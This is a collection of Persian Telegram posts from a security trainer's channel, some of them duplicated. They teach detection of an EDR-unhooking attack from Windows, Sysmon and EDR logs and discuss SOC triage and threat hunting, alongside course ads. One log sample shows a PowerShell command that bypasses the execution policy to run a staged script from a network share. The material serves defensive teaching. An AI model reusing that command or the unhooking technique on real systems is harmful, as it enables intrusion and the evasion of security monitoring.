زغوغای جهان فارق
غور در لاگ :
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}
سکوت مرگبار ......
زمان: T4 (10:30:22 AM تا 10:31:00 AM)
منبع: لاگ EDR
هیچ لاگ API حساسی وجود ندارد!
این دنباله از لاگ‌ها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت می‌کند و نشان می‌دهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی داده‌ها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفته‌ای حیاتی است.
کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning
دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290
غور در لاگ :
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}
سکوت مرگبار ......
زمان: T4 (10:30:22 AM تا 10:31:00 AM)
منبع: لاگ EDR
هیچ لاگ API حساسی وجود ندارد!
این دنباله از لاگ‌ها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت می‌کند و نشان می‌دهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی داده‌ها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفته‌ای حیاتی است.
کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning
دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290
❤3
از صفر در امنیت تا.....
ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.
از صفر در امنیت تا.....
لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم
مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید
بسم الله
تمام.
ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.
از صفر در امنیت تا.....
لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم
مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید
بسم الله
تمام.
❤5
آکادمی آموزش روزبه 📚
زغوغای جهان فارق غور در لاگ : زمان: T0 (10:30:15 AM) منبع: Windows Security Log (Event ID 4688 - A new process has been created) { "EventID": 4688, "SubjectUserName": "jsmith", "ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"…
قسمت اول
در این سناریو، مهاجم از تکنیک Full DLL Unhooking برای غیرفعال کردن هوک‌های User-Mode EDR و سپس اجرای یک payload با استفاده از ابزار مدیریت از راه دور استفاده می‌کند.
1. Sysmon:
ابزار قدرتمند مایکروسافت برای مانیتورینگ عمیق سیستم. فرض میکنیم با یک کانفیگ خوب نصب شده.
2. Windows Security Logs:
لاگ‌های پیش‌فرض ویندوز.
3. EDR Logs:
لاگ‌های خود EDR که برخی فعالیت‌ها را ثبت می‌کند اما رویدادهای کلیدی را از دست می‌دهد.
دنباله‌ی زمانی لاگ‌ها (The Log Timeline)
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
* تحلیل عمیق (اینجا نکته کلیدی است!): چرا یک پراسس باید به خودش دسترسی کامل بخواهد؟ این رفتار بسیار غیرعادی است. این لاگ سرنخ اصلی ماست. اسکریپت پاورشل در حال آماده شدن برای دستکاری حافظه‌ی خودش است. این اولین قدم برای فرآیند Unhooking است. EDR اینجا باید حساس شود، اما بسیاری از آن‌ها این رفتار را به عنوان یک تهدید قطعی در نظر نمی‌گیرند چون Source و Target یکی هستند.
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
* تحلیل: این لاگ نشان می‌دهد که DLL مربوط به EDR (در اینجا به عنوان مثال Sophos) به درستی در پراسس powershell.exe لود شده است. این یعنی EDR "فکر می‌کند" که در حال مانیتورینگ این پراسس است.
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
واتس اپ و بله 09902857290
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👏3
هوش مصنوعی رفتاری: مغز متفکر EDR و XDR های مدرن
در دنیای امنیت سایبری، دیگر نمی‌توان تنها به دنبال بدافزارهای شناخته‌شده گشت. مهاجمان امروزی از تکنیک‌های بدون فایل (Fileless)، ابزارهای خود سیستم‌عامل (Living-off-the-Land) و اسکریپت‌های ناشناخته استفاده میکنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهم‌ترین و پیشرفته‌ترین بخش یک EDR (Endpoint Detection and Response) وارد میدان می‌شود.
برخلاف آنتی‌ویروس‌های سنتی که می‌پرسند “این فایل چیست؟”، هوش مصنوعی رفتاری می‌پرسد “این فرآیند چه کاری انجام می‌دهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیره‌ی علت و معلولی رفتارها در زمان اجرا (Runtime) می‌پردازد.
تصور کنید فرآیند Word.exe که یک برنامه‌ی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد می‌کند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظه‌ی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسی‌های خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت می‌شود.
هوش مصنوعی رفتاری ؛ این نقاط داده‌ی به ظاهر بی‌ربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد می‌کند. این مدل‌های یادگیری ماشین (ML) با مشاهده‌ی هزاران میلیارد رویداد، یاد گرفته‌اند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی میکنند.
کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راه‌حل‌های سنتی‌تر است. آن‌ها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود میکنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت می‌دهد تا نه تنها در برابر تهدیدات شناخته‌شده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیک‌های هوشمندانه‌ی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.
دوره CISSP از هفته آخر مرداد ماه
در دنیای امنیت سایبری، دیگر نمی‌توان تنها به دنبال بدافزارهای شناخته‌شده گشت. مهاجمان امروزی از تکنیک‌های بدون فایل (Fileless)، ابزارهای خود سیستم‌عامل (Living-off-the-Land) و اسکریپت‌های ناشناخته استفاده میکنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهم‌ترین و پیشرفته‌ترین بخش یک EDR (Endpoint Detection and Response) وارد میدان می‌شود.
برخلاف آنتی‌ویروس‌های سنتی که می‌پرسند “این فایل چیست؟”، هوش مصنوعی رفتاری می‌پرسد “این فرآیند چه کاری انجام می‌دهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیره‌ی علت و معلولی رفتارها در زمان اجرا (Runtime) می‌پردازد.
تصور کنید فرآیند Word.exe که یک برنامه‌ی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد می‌کند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظه‌ی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسی‌های خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت می‌شود.
هوش مصنوعی رفتاری ؛ این نقاط داده‌ی به ظاهر بی‌ربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد می‌کند. این مدل‌های یادگیری ماشین (ML) با مشاهده‌ی هزاران میلیارد رویداد، یاد گرفته‌اند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی میکنند.
کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راه‌حل‌های سنتی‌تر است. آن‌ها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود میکنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت می‌دهد تا نه تنها در برابر تهدیدات شناخته‌شده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیک‌های هوشمندانه‌ی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.
دوره CISSP از هفته آخر مرداد ماه
👍6
❤4💯2
جایی گفته شده که بروید بجای Auditd در لینوکس ؛ Osquery نصب کنید
اما این جمله کلا مشکل دارد
مقوله Auditd یک ماژول سطح پایین کرنل هست و میتونه خیلی دقیق و با دقت میلی‌ثانیه‌ای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده می‌شن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگ‌برداری لحظه‌ای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابل‌اعتماد یا realtime نیست.
پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده می‌شود.
تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید
اما این جمله کلا مشکل دارد
مقوله Auditd یک ماژول سطح پایین کرنل هست و میتونه خیلی دقیق و با دقت میلی‌ثانیه‌ای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده می‌شن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگ‌برداری لحظه‌ای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابل‌اعتماد یا realtime نیست.
پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده می‌شود.
تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید
❤6👏2💯2🙏1
نکات SOC
تمرکز بر نشانه‌های مهم حمله؛ نه هر آژیری که به صدا در می‌آید
در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروال‌ها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید میکنند. اما واقعیت این است: هر نشانه‌ای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسک‌های سازمان شما و دارایی‌های حیاتی‌تان ارتباط مستقیم دارد.
مثال فنی: بانک و هشدارهای Remote Desktop
فرض کنید شما تحلیل‌گر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنش‌های مالی و سامانه بانک‌داری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگین‌های ناموفق Remote Desktop دریافت می‌کند (Failed RDP logins).
در نگاه اول، همه این هشدارها به نظر تهدید می‌آیند. اما آیا واقعاً همه این‌ها مهم‌اند؟
اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.
شما پروفایل دارایی‌ها را بررسی میکنید و می‌بینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی می‌آید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده می‌شود.
حالا تفاوت را ببینید:
- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمی‌شود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهره‌برداری جدی؛ این یک Event of Interest واقعی برای شماست.
پس
به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با دارایی‌های حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.
ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299
دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام می‌شوند
تمرکز بر نشانه‌های مهم حمله؛ نه هر آژیری که به صدا در می‌آید
در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروال‌ها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید میکنند. اما واقعیت این است: هر نشانه‌ای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسک‌های سازمان شما و دارایی‌های حیاتی‌تان ارتباط مستقیم دارد.
مثال فنی: بانک و هشدارهای Remote Desktop
فرض کنید شما تحلیل‌گر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنش‌های مالی و سامانه بانک‌داری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگین‌های ناموفق Remote Desktop دریافت می‌کند (Failed RDP logins).
در نگاه اول، همه این هشدارها به نظر تهدید می‌آیند. اما آیا واقعاً همه این‌ها مهم‌اند؟
اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.
شما پروفایل دارایی‌ها را بررسی میکنید و می‌بینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی می‌آید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده می‌شود.
حالا تفاوت را ببینید:
- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمی‌شود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهره‌برداری جدی؛ این یک Event of Interest واقعی برای شماست.
پس
به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با دارایی‌های حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.
ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299
دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام می‌شوند
❤5👍3
کسی که راه خودش رو می‌ره، خارج از بازی مقایسه و رقابت حرکت می‌کنه.
اون به‌جای اینکه دنبال بردن از دیگران باشه، دنبال تبدیل شدن به نسخهٔ عمیق‌تری از خودشه.
چنین آدمی قابل پیشی گرفتن نیست، چون اساساً وارد خط مسابقهٔ دیگران نمیشه...
⭐ دوره سطح ۱ امنیت
🪙 دوره CISSP
✅️دوره هایی متمایز حاصل ۲۳ سال تجربه
واتس اپ و بله 09902857290
📣 به روز رسانی
پیرو علاقه و درخواست دوستان دوره های زیر هم اضافه شدند :
🏆 سنز ۶۰۸ برای IR و فارنزیک سطح بزرگ سازمانی به همراه هانت ساختار یافتهThreat hunting ✅
🏆 سنز ۵۹۹ برای تیم بنفش سایبری (پیش نیاز برای دوره ۶۹۹)
اون به‌جای اینکه دنبال بردن از دیگران باشه، دنبال تبدیل شدن به نسخهٔ عمیق‌تری از خودشه.
چنین آدمی قابل پیشی گرفتن نیست، چون اساساً وارد خط مسابقهٔ دیگران نمیشه...
✅️دوره هایی متمایز حاصل ۲۳ سال تجربه
واتس اپ و بله 09902857290
پیرو علاقه و درخواست دوستان دوره های زیر هم اضافه شدند :
Please open Telegram to view this post
VIEW IN TELEGRAM
👏6❤3👍2🥰2
کشف امروز
نصب یا اجرای مفسر پایتون روی سیستم‌ها عمدتاً بدون نظارت انجام می‌شود، درحالی‌که همین موضوع می‌تواند به سوءاستفاده و ایجاد بک‌دور توسط مهاجمان منجر شود؛ نمونه‌ای امروز با آن روبرو بودم
پیشنهاد میدم پس از شناسایی رفتار نرمال، هر اجرای غیرمنتظره پایتون باید به‌عنوان هشدار اولیه در نظر گرفته شود. آیا پایتون به‌طور معمول در سازمان شما روی سیستم‌ها، چه به‌صورت مستقل و چه به‌همراه سایر نرم‌افزارها، نصب است ؟
دقت کنیم. تمیز کار کنیم
نصب یا اجرای مفسر پایتون روی سیستم‌ها عمدتاً بدون نظارت انجام می‌شود، درحالی‌که همین موضوع می‌تواند به سوءاستفاده و ایجاد بک‌دور توسط مهاجمان منجر شود؛ نمونه‌ای امروز با آن روبرو بودم
پیشنهاد میدم پس از شناسایی رفتار نرمال، هر اجرای غیرمنتظره پایتون باید به‌عنوان هشدار اولیه در نظر گرفته شود. آیا پایتون به‌طور معمول در سازمان شما روی سیستم‌ها، چه به‌صورت مستقل و چه به‌همراه سایر نرم‌افزارها، نصب است ؟
دقت کنیم. تمیز کار کنیم
❤4🤝2👍1
نه فقط ابزار !!
در دوره فارنزیک ، IR و هانت علاوه بر ابزار، من به اساس و شالوده هانت و فارنزیک میپردازم . ابزارها را در بوته های نقد سناریو ها به چالش میکشم تا بتوانید اصول و مفاهیم را طوری بیاموزید که با غیر موثر شدن ابزار جاری در هانت و تا آمدن ابزار جدید، همچنان توانمند باشید و اتکای شما به ابزار به حداقل برسد.
💫👌 اگر مفهوم را خوب درک کنید آنگاه میتوانید امیدوار باشید واقعا برای کشف APT آماده اید!! اما اگر فقط تنها به ابزار تکیه کنیم ، فقط مانند موتور کشف امضا هستیم. 😢
در دوره من ، شما اول مفهوم را درک میکنید بعد با آنچه قبلا از سایر دوره ها فراگرفته اید مخلوط میکنید بعد با ابزار ، حاصل آنرا تست مینمایید.
اگر علاقمند بودید به واتس اپ و بله 09902857290 پیام دهید و در کلاس من باشید.
لیست دوره ها را از همین شماره بخواهید که بدانید زمانبندی چطور است.
برای نمونه از مثالهای کلاس، لینک زیر را درج میکنم
https://evals.mitre.org/enterprise/apt3/
در دوره فارنزیک ، IR و هانت علاوه بر ابزار، من به اساس و شالوده هانت و فارنزیک میپردازم . ابزارها را در بوته های نقد سناریو ها به چالش میکشم تا بتوانید اصول و مفاهیم را طوری بیاموزید که با غیر موثر شدن ابزار جاری در هانت و تا آمدن ابزار جدید، همچنان توانمند باشید و اتکای شما به ابزار به حداقل برسد.
💫
در دوره من ، شما اول مفهوم را درک میکنید بعد با آنچه قبلا از سایر دوره ها فراگرفته اید مخلوط میکنید بعد با ابزار ، حاصل آنرا تست مینمایید.
اگر علاقمند بودید به واتس اپ و بله 09902857290 پیام دهید و در کلاس من باشید.
لیست دوره ها را از همین شماره بخواهید که بدانید زمانبندی چطور است.
برای نمونه از مثالهای کلاس، لینک زیر را درج میکنم
https://evals.mitre.org/enterprise/apt3/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
امروز می‌خواهم داستان یک "کوری موقت" را با شما به اشتراک بگذارم.
چند ماه پیش، درگیر تحلیل یک مورد امنیتی پیچیده بودیم. تمام ابزارهای استاندارد ما، از EDR گرفته تا آنالیزرهای لاگ، هیچ چیز مشکوکی را نشان نمی‌دادند. همه چیز در داشبورد ها “سبز” بود و سیستم به ظاهر پاک به نظر می‌رسید. تیممون تقریباً داشت به این نتیجه می‌رسید که یک “هشدار کاذب” (False Positive) بوده است.
اما یک چیزی در این میان درست نبود. یک “حس” درونی که از صدها سناریوی قبلی نشأت می‌گرفت، به من می‌گفت که مهاجم هنوز آنجاست، فقط خیلی خوب خودش را پنهان کرده است. شاید یک دلیل آن بود که آن بلوغی که انتظار داشتم در آن SOC و آن بانک دیده نمیشد . مطمئن بودم همه کلاینت ها و سرور ها ۱۰۰ درصد ایجنت EDR فعال و به روز ندارند و شبکه با آنکه در حوزه بانکی بود، سگمنتیشن مناسب را نداشت .
اینجا بود که ابزارها را کنار گذاشتم و به سراغ “اصول” رفتم.
به جای پرسیدن “ابزار چه می‌گوید؟” از خودم پرسیدم: “اگر من مهاجم بودم، چطور از دید ابزارها پنهان می‌شدم؟”. این سوال، مسیر تحلیل را به کلی تغییر داد. شروع کردم به بررسی ارتباطات شبکه‌ای که در نگاه اول عادی به نظر می‌رسیدند اما در “زمانبندی” و “حجم داده” یک الگوی غیرعادی و بسیار ظریف داشتند. مهاجم از یک پروتکل کاملاً استاندارد مثل BITS برای استخراج داده استفاده می‌کرد، اما به شکلی که هیچ قانونی (Rule) در ابزارهای ما آن را تشخیص نمی‌داد.
آن روز، ابزارها کور بودند، اما “تفکر هانتینگ” بینا بود. ما مهاجم را نه با یک امضای جدید، بلکه با درک عمیق از “رفتار” او پیدا کردیم.
این دقیقاً همان چیزی است که در دوره هانتینگ و فارنزیک روی آن تاکید دارم. ما یاد می‌گیریم چطور فراتر از داشبوردها و هشدارها فکر کنیم. یاد می‌گیریم چطور وقتی ابزارها سکوت کرده‌اند، ما همچنان سوالات درست را بپرسیم. چون یک مهاجم حرفه‌ای، اولین کاری که می‌کند، دور زدن ابزار شماست. آیا شما برای آن روز آماده‌اید؟
اگر می‌خواهید این سطح از تحلیل را تجربه کنید و از یک اپراتور ابزار به یک “شکارچی” واقعی تهدید تبدیل شوید، به من در واتس‌اپ یا بله پیام دهید. در این دوره مثال‌هایی چون مورد فوق رو کاملا برای شما می‌شکافم تا طرز تفکر و استدلال درست رو باهم مرور کنیم و یاد بگیرید .
اطلاعات تماس و ثبت‌نام:
WhatsApp & BALE: 09902857290
لیست کامل دوره‌ها و زمانبندی را میتوانید از همین شماره دریافت کنید
خلاصه عنوان دوره ها:
سطح ۱ امنیت
سنز ۶۰۸ هانت و IR
سنز ۵۹۹ تیم بنفش
دوره CISSP
چند ماه پیش، درگیر تحلیل یک مورد امنیتی پیچیده بودیم. تمام ابزارهای استاندارد ما، از EDR گرفته تا آنالیزرهای لاگ، هیچ چیز مشکوکی را نشان نمی‌دادند. همه چیز در داشبورد ها “سبز” بود و سیستم به ظاهر پاک به نظر می‌رسید. تیممون تقریباً داشت به این نتیجه می‌رسید که یک “هشدار کاذب” (False Positive) بوده است.
اما یک چیزی در این میان درست نبود. یک “حس” درونی که از صدها سناریوی قبلی نشأت می‌گرفت، به من می‌گفت که مهاجم هنوز آنجاست، فقط خیلی خوب خودش را پنهان کرده است. شاید یک دلیل آن بود که آن بلوغی که انتظار داشتم در آن SOC و آن بانک دیده نمیشد . مطمئن بودم همه کلاینت ها و سرور ها ۱۰۰ درصد ایجنت EDR فعال و به روز ندارند و شبکه با آنکه در حوزه بانکی بود، سگمنتیشن مناسب را نداشت .
اینجا بود که ابزارها را کنار گذاشتم و به سراغ “اصول” رفتم.
به جای پرسیدن “ابزار چه می‌گوید؟” از خودم پرسیدم: “اگر من مهاجم بودم، چطور از دید ابزارها پنهان می‌شدم؟”. این سوال، مسیر تحلیل را به کلی تغییر داد. شروع کردم به بررسی ارتباطات شبکه‌ای که در نگاه اول عادی به نظر می‌رسیدند اما در “زمانبندی” و “حجم داده” یک الگوی غیرعادی و بسیار ظریف داشتند. مهاجم از یک پروتکل کاملاً استاندارد مثل BITS برای استخراج داده استفاده می‌کرد، اما به شکلی که هیچ قانونی (Rule) در ابزارهای ما آن را تشخیص نمی‌داد.
آن روز، ابزارها کور بودند، اما “تفکر هانتینگ” بینا بود. ما مهاجم را نه با یک امضای جدید، بلکه با درک عمیق از “رفتار” او پیدا کردیم.
